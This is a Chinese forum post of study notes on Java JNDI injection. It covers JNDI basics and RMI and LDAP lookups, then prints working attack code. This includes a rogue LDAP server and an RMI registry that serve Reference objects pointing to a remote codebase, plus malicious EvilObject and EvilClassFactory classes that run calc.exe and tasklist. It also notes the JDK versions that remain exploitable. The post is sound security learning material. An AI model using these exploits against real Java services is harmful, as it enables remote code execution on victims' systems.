IT评测·应用市场-qidao123.com技术社区

标题: java安全(2)-JNDI注入 [打印本页]

作者: 盛世宏图    时间: 2024-10-10 23:09
标题: java安全(2)-JNDI注入
0x01前言

了解jndi时,我们要思考明白:
 
1) 什么是jndi 2)jndi代码示例  3)jndi  注入方式 4)高版本绕过

 
 
   
 

  0x01 什么是jndi

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用步调接口,为开发人员查找和访问各种资源提供了同一的通用接口,
它允许 Java 应用步调通过名称发现和检索数据和资源,而不需要直接引用它们的位置。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用 (RMI)、通用对象请求代理体系结构 (CORBA)、轻量级目录访问协议 (LDAP) 或域名服务 (DNS)
JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
简单点说,JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象大概存储在RMI、LDAP、CORBA等等。

JNDI 的主要功能

1. 绑定对象

2. 查找和查询

3.通过SPI实现扩展

 

了解命名和目录服务

Java Naming:命名服务是一种键值对的绑定,使应用步调可以通过键检索值。
伪代码如下:
  1. Context ctx  =  new  InitialContext (env);
  2. MyObject  obj  = (MyObject) ctx.lookup( "myObject" );
复制代码
Java Directory:对象可以有属性,在目录服务中可以根据属性(而不仅仅是名称)存储和搜刮目录对象。
  1. DirContext  ctx  =  new  InitialDirContext (env);
  2. NamingEnumeration<?> namingEnum = ctx.search( "ou=people" , "(cn=Sickurity Wizard)" );
复制代码
ObjectFactory:(重点关注)
Object Factory用于将Naming Service(如RMI/LDAP)中存储的数据转换为Java中可表达的数据,例如Java中的对象或Java中的基本数据类型。每一个Service Provider大概配有多个Object Factory。JNDI注入的题目就是处在可远程下载自定义的ObjectFactory类上。
0x02 jndi 的包以及代码阐明

JNDI 主要是上述四种服务,对应四个包加一个主包
JNDI 接口主要分为下述 5 个包:
  1. javax.naming
  2. javax.naming.directory
  3. javax.naming.event
  4. javax.naming.ldap
  5. javax.naming.spi
复制代码
其中最重要的是 javax.naming 包,包罗了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。 以上述打印机服务为例,通过 JNDI 接口,用户可以透明地调用远程打印服务。
Jndi 在对不同服务举行调用的时间,会去调用 xxxContext 这个类,比如调用 RMI 服务的时间就是调的 RegistryContext,这一点是很重要的,记着了这一点对于 JNDI 这里的弊端明白非常有益。一般的应用也就是先 new InitialContext(),再调用 API 即可,下面我们先看一个 JNDI 结合 RMI 的代码实例。
JNDI的代码示例

在JNDI中提供了绑定和查找的方法:

1. Jndi 结合 RMI

下面是基本用法Demo,以RMI服务为例。新建一个项目,把服务端和客户端分开,代码如下:
服务端,其通过JNDI实现RMI服务,并通过JNDI的bind()函数将实例化的Person对象绑定到RMI服务中
  1. import javax.naming.InitialContext;  
  2. import java.rmi.registry.LocateRegistry;  
  3. import java.rmi.registry.Registry;  
  4.   
  5. public class JNDIRMIServer {  
  6.     public static void main(String[] args) throws Exception{  
  7.         InitialContext initialContext = new InitialContext();  //InitialContext 对象用于与JNDI命名服务交互。它可以在JNDI命名空间中查找或绑定对象
  8. Registry registry = LocateRegistry.createRegistry(1099);  //创建RMI注册表,在本地创建一个RMI注册表并监听端口1099。RMI注册表是RMI运行时系统的一部分,它允许服务器注册远程对象,客户端通过查找注册表获取远程对象的引用。
  9. initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());  //initialContext.rebind(...):将一个远程对象绑定到JNDI服务的命名空间中。具体来说,它将RemoteObjImpl对象绑定到rmi://localhost:1099/remoteObj这个地址。
  10. new RemoteObjImpl()://是一个假设的实现类,它应该实现了一个远程接口,提供了可以通过RMI调用的方法。
  11. }  
  12. }
复制代码
客户端,其通过JNDI的lookup方法来检索对象并输出出来
  1. import javax.naming.InitialContext;  
  2.   
  3. public class JNDIRMIClient {  
  4.     public static void main(String[] args) throws Exception{  
  5.         InitialContext initialContext = new InitialContext();  
  6. RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");  
  7. System.out.println(remoteObj.sayHello("hello"));  
  8. }  
  9. }
复制代码
 
弦外音

简单比较一下RMI原生写法和利用JNDI检索的写法,在RMI原生写法中的两种典型写法:
  1. import java.rmi.registry.LocateRegistry;
  2. import java.rmi.registry.Registry;
  3. import remote.IRemoteMath;
  4. ...
  5.    
  6.     //服务端
  7.     IRemoteMath remoteMath = new RemoteMath();
  8.     LocateRegistry.createRegistry(1099);   
  9.     Registry registry = LocateRegistry.getRegistry();
  10.     registry.bind("Compute", remoteMath);
  11. ...
  12.    
  13.     //客户端
  14.     Registry registry = LocateRegistry.getRegistry("localhost");        
  15.     IRemoteMath remoteMath = (IRemoteMath)registry.lookup("Compute");
  16. //or
  17. import java.rmi.Naming;
  18. import java.rmi.registry.LocateRegistry;
  19. ...
  20.         //服务端
  21.     PersonService personService=new PersonServiceImpl();
  22.     LocateRegistry.createRegistry(6600);
  23.     Naming.rebind("rmi://127.0.0.1:6600/PersonService", personService);
  24. ...
  25.         //客户端
  26.         PersonService personService=(PersonService) Naming.lookup("rmi://127.0.0.1:6600/PersonService");
复制代码
JNDI中相关代码:
  1. import javax.naming.Context;
  2. import javax.naming.InitialContext;
  3. import java.rmi.registry.LocateRegistry;
  4. ...
  5.    
  6.         //服务端
  7.         LocateRegistry.createRegistry(6666);
  8.     System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
  9.     System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
  10.     InitialContext ctx = new InitialContext();
  11.         ...
  12.     ctx.bind("person", p);
  13.     ctx.close();
  14. ...
  15.         //客户端
  16.     InitialContext ctx = new InitialContext();
  17.     Person person = (Person) ctx.lookup("person");
  18.         ctx.close();
  19.         //服务端
  20.     Properties env = new Properties();
  21.     env.put(Context.INITIAL_CONTEXT_FACTORY,
  22.             "com.sun.jndi.rmi.registry.RegistryContextFactory");
  23.     env.put(Context.PROVIDER_URL,
  24.             "rmi://localhost:1099");
  25.     Context ctx = new InitialContext(env);
复制代码
相比之下:

简单地说,原生RMI实现的方式主要是调用java.rmi这个包来实现绑定和检索的,而JNDI实现的RMI服务则是调用javax.naming这个包即应用Java Naming来实现的。
2. Jndi 结合 ldap

LDAP Directory 作为一种目录服务,主要用于带有条件限制的对象查询和搜刮。目录服务作为一种特殊的数据库,用来生存描述性的、基于属性的具体信息。和传统数据库相比,最大的不同在于目录服务中数据的构造方式,它是一种有层次的树形结构,因此它有优异的读性能,但写性能较差,而且没有变乱处置处罚、回滚等复杂功能,不适于存储修改频繁的数据。
LDAP 的请求和相应是 ASN.1 格式,利用二进制的 BER 编码,操作类型(Operation)包括 Bind/Unbind、Search、Modify、Add、Delete、Compare 等等,除了这些通例的增删改查操作,同时也包罗一些拓展的操作类型和异步通知变乱。
ldap 的 JNDI 弊端
先起一个 LDAP 的服务,这里需要先在 pom.xml 中导入 unboundid-ldapsdk 的依赖
  1. <dependency>  
  2. <groupId>com.unboundid</groupId>  
  3. <artifactId>unboundid-ldapsdk</artifactId>  
  4. <version>3.2.0</version>  
  5. <scope>test</scope>  
  6. </dependency>
复制代码
对应的 server 的代码

  1. import com.unboundid.ldap.listener.InMemoryDirectoryServer;  
  2. import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;  
  3. import com.unboundid.ldap.listener.InMemoryListenerConfig;  
  4. import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;  
  5. import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;  
  6. import com.unboundid.ldap.sdk.Entry;  
  7. import com.unboundid.ldap.sdk.LDAPException;  
  8. import com.unboundid.ldap.sdk.LDAPResult;  
  9. import com.unboundid.ldap.sdk.ResultCode;  
  10. import javax.net.ServerSocketFactory;  
  11. import javax.net.SocketFactory;  
  12. import javax.net.ssl.SSLSocketFactory;  
  13. import java.net.InetAddress;  
  14. import java.net.MalformedURLException;  
  15. import java.net.URL;  
  16.   
  17. public class LdapServer {  
  18.     private static final String LDAP_BASE = "dc=example,dc=com";  
  19. public static void main (String[] args) {  
  20.         String url = "http://127.0.0.1:8000/#EvilObject";  
  21. int port = 1234;  
  22. try {  
  23.             InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);  
  24. config.setListenerConfigs(new InMemoryListenerConfig(  
  25.                     "listen",  
  26. InetAddress.getByName("0.0.0.0"),  
  27. port,  
  28. ServerSocketFactory.getDefault(),  
  29. SocketFactory.getDefault(),  
  30. (SSLSocketFactory) SSLSocketFactory.getDefault()));  
  31.   
  32. config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));  
  33. InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);  
  34. System.out.println("Listening on 0.0.0.0:" + port);  
  35. ds.startListening();  
  36. }  
  37.         catch ( Exception e ) {  
  38.             e.printStackTrace();  
  39. }  
  40.     }  
  41.     private static class OperationInterceptor extends InMemoryOperationInterceptor {  
  42.         private URL codebase;  
  43. /**  
  44. * */ public OperationInterceptor ( URL cb ) {  
  45.             this.codebase = cb;  
  46. }  
  47.         /**  
  48. * {@inheritDoc}  
  49. * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)  
  50. */ @Override  
  51. public void processSearchResult ( InMemoryInterceptedSearchResult result ) {  
  52.             String base = result.getRequest().getBaseDN();  
  53. Entry e = new Entry(base);  
  54. try {  
  55.                 sendResult(result, base, e);  
  56. }  
  57.             catch ( Exception e1 ) {  
  58.                 e1.printStackTrace();  
  59. }  
  60.         }  
  61.         protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {  
  62.             URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));  
  63. System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);  
  64. e.addAttribute("javaClassName", "Exploit");  
  65. String cbstring = this.codebase.toString();  
  66. int refPos = cbstring.indexOf('#');  
  67. if ( refPos > 0 ) {  
  68.                 cbstring = cbstring.substring(0, refPos);  
  69. }  
  70.             e.addAttribute("javaCodeBase", cbstring);  
  71. e.addAttribute("objectClass", "javaNamingReference");  
  72. e.addAttribute("javaFactory", this.codebase.getRef());  
  73. result.sendSearchEntry(e);  
  74. result.setResult(new LDAPResult(0, ResultCode.SUCCESS));  
  75. }  
  76.   
  77.     }  
  78. }
复制代码
客户端这里和上面是差不多的,只是把服务替换成了 ldap
JNDILdapClient.java
  1. import javax.naming.InitialContext;  
  2.   
  3. public class JNDILdapClient {  
  4.     public static void main(String[] args) throws Exception{  
  5.         InitialContext initialContext = new InitialContext();  
  6. RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://localhost:1099/remoteObj");  
  7. System.out.println(remoteObj.sayHello("hello"));  
  8. }  
  9. }
复制代码
先用 python 起一个 HTTP 服务,再跑服务端代码,再跑客户端。


注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,以是适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。
以是,当JDK版本介于8u191、7u201、6u211与6u141、7u131、8u121之间时,我们就可以利用LDAP+Reference的技巧来举行JNDI注入的利用。
因此,这种利用方式的前提条件就是目的环境的JDK版本在JDK8u191、7u201、6u211以下
 

Reference类

Reference类表示对存在于命名/目录系统以外的对象的引用。
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。
在利用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发。
几个比较关键的属性:

 
0x02 JNDI注入

前提条件&JDK防御

要想成功利用JNDI注入弊端,重要的前提就是当前Java环境的JDK版本,而JNDI注入中不同的攻击向量和利用方式所被限制的版本号都有点不一样。
这里将全部不同版本JDK的防御都列出来:

因此,我们在举行JNDI注入之前,必须知道当前环境JDK版本这一前提条件,只有JDK版本在可利用的范围内才满足我们举行JNDI注入的前提条件。
RMI攻击向量

RMI+Reference利用技巧
JNDI提供了一个Reference类来表示某个对象的引用,这个类中包罗被引用对象的类信息和地址。
Reference类表示对存在于命名/目录系统以外的对象的引用,这个上面提到过。
由于在JNDI中,对象传递要么是序列化方式存储(对象的拷贝,对应按值传递),要么是按照引用(对象的引用,对应按引用传递)来存储,当序列化欠好用的时间,我们可以利用Reference将对象存储在JNDI系统中。
那么这个JNDI利用技巧是啥呢?
就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会利用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,终极实现JNDI注入攻击导致远程代码执行
注:简单说就是两个地方可控 1、lookup()函数参数外部可控    2、classFactoryLocation参数外部可控。
classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议 上文也提到过忘记可以回看。

具体步调:
eg:
JNDIClient.java,lookup()函数参数外部可控:
  1. ublic class JNDIClient {
  2.     public static void main(String[] args) throws Exception {
  3.         if(args.length < 1) {
  4.             System.out.println("Usage: java JNDIClient <uri>");
  5.             System.exit(-1);
  6.         }
  7.         String uri = args[0];
  8.         Context ctx = new InitialContext();
  9.         System.out.println("Using lookup() to fetch object with " + uri);
  10.         ctx.lookup(uri);
  11.     }
  12. }
复制代码
RMIService.java,对象实例要能成功绑定在RMI服务上,必须直接或间接的实现 Remote 接口,这里 ReferenceWrapper就继续于 UnicastRemoteObject 类并实现了Remote接口:
  1. public class RMIService {
  2.     public static void main(String args[]) throws Exception {
  3.         Registry registry = LocateRegistry.createRegistry(1099);
  4.         Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8080/");
  5.         ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
  6.         System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
  7.         registry.bind("refObj", refObjWrapper);
  8.     }
  9. }
  10. /*evil 远程地址:http://127.0.0.1:8080/,指定了该类的字节码将从这个 URL 加载。
  11. refObjWrapper(包含 EvilObject 的引用)即将被绑定到RMI注册表,地址是 rmi://127.0.0.1:1099/refObj  */
复制代码
简单介绍一下referencewrapper类:

   ReferenceWrapper 类是 Java Naming and Directory Interface (JNDI) 中的一个类,它是 javax.naming.spi.ReferenceWrapper 的一部分。ReferenceWrapper 用于封装一个 Reference 对象,使得该对象可以通过远程调用机制(如 RMI)举行序列化和传输。
  主要功能
ReferenceWrapper 类的主要作用是将一个 Reference 对象包装起来,以便它可以在 RMI 注册表中举行绑定,并被远程客户端访问息争析。由于 Reference 对象自己是不可序列化的,ReferenceWrapper 通过实现 Remote 接口,使得该对象可以被远步调列化和传递。
  利用场景
在 JNDI 中,Reference 对象通常用于指向某个远程对象或服务的引用。当对象自己不支持远程访问时,可以利用 ReferenceWrapper 将 Reference 对象封装并通过 RMI 注册表发布。
远程客户端可以通过查找 RMI 注册表,获取 ReferenceWrapper 对象,并通过 JNDI 机制将其解析为现实对象。
上述代码中,Reference 是一个引用对象,它包罗了目的类的名称 (EvilObject) 和该类的字节码的加载位置(http://127.0.0.1:8080/)。
ReferenceWrapper 将 refObj 封装起来,使得它可以通过 RMI 注册表发布并被远程调用。
  这里的registry 和 刚刚提到的 reference+referencewrapper 在利用场景上有哪些不同? (早先困扰了我好一会不明白,究竟还是web小蔡坤一枚)

   Registry(注册表)

  
  代码在jndi+rmi处提及
    Reference(引用)

  
  ReferenceWrapper

  
  区别:

   利用场景的对比:

  
  示例场景:

  
  EvilObject.java,目的是弹盘算器:

  1. public class EvilObject {
  2.     public EvilObject() throws Exception {
  3.         Runtime rt = Runtime.getRuntime();
  4.         String[] commands = {"cmd", "/C", "calc.exe"};
  5.         Process pc = rt.exec(commands);
  6.         pc.waitFor();
  7.     }
  8. }
复制代码

LDAP攻击向量

通过LDAP攻击向量来利用JNDI注入的原理和RMI攻击向量是一样的,区别只是换了个接口而已,下面就只列下LDAP+Reference的利用技巧,至于JNDI注入弊端点和前面是一样的就不再赘述了
除了RMI服务之外,JNDI还可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本同等,只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。
注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,以是适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。
以是,当JDK版本介于8u191、7u201、6u211与6u141、7u131、8u121之间时,我们就可以利用LDAP+Reference的技巧来举行JNDI注入的利用。
因此,这种利用方式的前提条件就是目的环境的JDK版本在JDK8u191、7u201、6u211以下。下面的示例代码中我本地的JDk版本是1.8.0_73。(搬运一下大佬的表明)
LdapServer.java,LDAP服务,需要导入unboundid-ldapsdk.jar包:
  1. public class LdapServer {
  2.     private static final String LDAP_BASE = "dc=example,dc=com";
  3.     public static void main (String[] args) {
  4.         String url = "http://127.0.0.1:8000/#EvilObject";
  5.         int port = 1234;
  6.         try {
  7.             InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
  8.             config.setListenerConfigs(new InMemoryListenerConfig(
  9.                     "listen",
  10.                     InetAddress.getByName("0.0.0.0"),
  11.                     port,
  12.                     ServerSocketFactory.getDefault(),
  13.                     SocketFactory.getDefault(),
  14.                     (SSLSocketFactory) SSLSocketFactory.getDefault()));
  15.             config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
  16.             InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
  17.             System.out.println("Listening on 0.0.0.0:" + port);
  18.             ds.startListening();
  19.         }
  20.         catch ( Exception e ) {
  21.             e.printStackTrace();
  22.         }
  23.     }
  24.     private static class OperationInterceptor extends InMemoryOperationInterceptor {
  25.         private URL codebase;
  26.         /**
  27.          *
  28.          */
  29.         public OperationInterceptor ( URL cb ) {
  30.             this.codebase = cb;
  31.         }
  32.         /**
  33.          * {@inheritDoc}
  34.          *
  35.          * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
  36.          */
  37.         @Override
  38.         public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
  39.             String base = result.getRequest().getBaseDN();
  40.             Entry e = new Entry(base);
  41.             try {
  42.                 sendResult(result, base, e);
  43.             }
  44.             catch ( Exception e1 ) {
  45.                 e1.printStackTrace();
  46.             }
  47.         }
  48.         protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
  49.             URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
  50.             System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
  51.             e.addAttribute("javaClassName", "Exploit");
  52.             String cbstring = this.codebase.toString();
  53.             int refPos = cbstring.indexOf('#');
  54.             if ( refPos > 0 ) {
  55.                 cbstring = cbstring.substring(0, refPos);
  56.             }
  57.             e.addAttribute("javaCodeBase", cbstring);
  58.             e.addAttribute("objectClass", "javaNamingReference");
  59.             e.addAttribute("javaFactory", this.codebase.getRef());
  60.             result.sendSearchEntry(e);
  61.             result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
  62.         }
  63.     }
  64. }
复制代码
LdapClient.java,LDAP客户端:
  1. public class LdapClient {
  2.     public static void main(String[] args) throws Exception{
  3.         try {
  4.             Context ctx = new InitialContext();
  5.             ctx.lookup("ldap://localhost:1234/EvilObject");
  6.             String data = "This is LDAP Client.";
  7.             //System.out.println(serv.service(data));
  8.         }
  9.         catch (NamingException e) {
  10.             // TODO Auto-generated catch block
  11.             e.printStackTrace();
  12.         }
  13.     }
  14. }
复制代码
EvilObject.java,恶意类,执行弹出盘算器:
  1. public class EvilObject {
  2.     public EvilObject() throws Exception {
  3.         Runtime.getRuntime().exec("calc.exe");
  4.     }
  5. }
复制代码
 
弊端点2——classFactoryLocation参数注入

前面lookup()参数注入是基于RMI客户端的,也是最常见的。而本末节的classFactoryLocation参数注入则是对于RMI服务端而言的,也就是说服务端步调在调用Reference()初始化参数时,其中的classFactoryLocation参数外部可控,导致存在JNDI注入。

BClient.java,RMI客户端,通过JNDI来查询RMI注册表上绑定的demo对象,其中lookup()函数参数不可控:
  1. public class BClient {
  2.     public static void main(String[] args) throws Exception {
  3.         Properties env = new Properties();
  4.         env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
  5.         env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
  6.         Context ctx = new InitialContext(env);
  7.         System.out.println("[*]Using lookup() to fetch object with rmi://127.0.0.1:1099/demo");//绑定到rmi的1099端口
  8.         ctx.lookup("demo");
  9.     }
  10. }
复制代码
BServer.java,RMI服务端,创建RMI注册表并将一个远程类的引用绑定在注册表中名为demo,其中该Reference的classFactoryLocation参数外部可控:
  1. public class BServer {
  2.     public static void main(String args[]) throws Exception {
  3.         String uri = "";
  4.         if(args.length == 1) {
  5.             uri = args[0];
  6.         } else {
  7.             uri = "http://127.0.0.1/demo.class";
  8.         }
  9.         System.out.println("[*]classFactoryLocation: " + uri);
  10.         Registry registry = LocateRegistry.createRegistry(1099);
  11.         Reference refObj = new Reference("EvilClass", "EvilClassFactory", uri);
  12.         ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
  13.         System.out.println("[*]Binding 'demo' to 'rmi://192.168.43.201:1099/demo'");
  14.         registry.bind("demo", refObjWrapper);
  15.     }
  16. }
复制代码
EvilClassFactory.java,攻击者编写的远程恶意类,这里是在RMI客户端执行tasklist命令并输出出来
  1. public class EvilClassFactory extends UnicastRemoteObject implements ObjectFactory {
  2.     public EvilClassFactory() throws RemoteException {
  3.         super();
  4.         InputStream inputStream;
  5.         try {
  6.             inputStream = Runtime.getRuntime().exec("tasklist").getInputStream();
  7.             BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
  8.             BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(bufferedInputStream));
  9.             String linestr;
  10.             while ((linestr = bufferedReader.readLine()) != null){
  11.                 System.out.println(linestr);
  12.             }
  13.         } catch (IOException e){
  14.             e.printStackTrace();
  15.         }
  16.     }
  17.     @Override
  18.     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
  19.         return null;
  20.     }
  21. }
复制代码
攻击者将恶意类EvilClassFactory.class放置在自己的Web服务器后,通过往RMI注册表服务端的classFactoryLocation参数输入攻击者的Web服务器地址后,当受害者的RMI客户端通过JNDI来查询RMI注册表中年绑定的demo对象时,会找到classFactoryLocation参数被修改的Reference对象,再远程加载攻击者服务器上的恶意类EvilClassFactory.class,从而导致JNDI注入、实现远程代码执行:

 
弊端点2——结合反序列化弊端
后续学习后会举行增补。。。。。
 
高版本JDK高版本注入绕过

 
   
JDK 6u45、7u21之后:

  
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,

  
将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。

  
利用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

  
 

  
JDK 6u141、7u131、8u121之后:

  
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议利用远程codebase的选项,

  
因此RMI和CORBA在以上的JDK版本上已经无法触发该弊端,但依然可以通过指定URI为LDAP协议来举行JNDI注入攻击。

  
 

  
JDK 6u211、7u201、8u191之后:

  
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,

  
禁止LDAP协议利用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

  
 

  
高版本绕过:

  
https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/

  
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

   
参考大神文章如下:
浅析JNDI注入 [ Mi1k7ea ]
Java反序列化之JNDI学习 | Drunkbaby's Blog (drun1baby.top)
https://infosecwriteups.com/jndi-injection-the-complete-story-4c5bfbb3f6e1
https://www.smi1e.top/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0%E4%B9%8Bjndi%E6%B3%A8%E5%85%A5/
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 IT评测·应用市场-qidao123.com技术社区 (https://dis.qidao123.com/) Powered by Discuz! X3.4